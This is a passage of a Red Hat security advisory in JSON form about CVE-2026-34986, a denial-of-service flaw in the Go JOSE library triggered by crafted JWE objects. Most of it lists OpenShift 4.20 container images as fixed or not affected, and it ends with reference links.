"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2455470"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Go JOSE, a library for handling JSON Web Encryption (JWE) objects. A remote attacker could exploit this vulnerability by providing a specially crafted JWE object. When decrypting such an object, if a key wrapping algorithm is specified but the encrypted key field is empty, the application can crash. This leads to a denial of service (DoS), making the affected service unavailable to legitimate users.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "github.com/go-jose/go-jose/v3: github.com/go-jose/go-jose/v4: Go JOSE: Denial of Service via crafted JSON Web Encryption (JWE) object",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-34986"
},
{
"category": "external",
"summary": "RHBZ#2455470",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2455470"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-34986",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34986"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-34986",
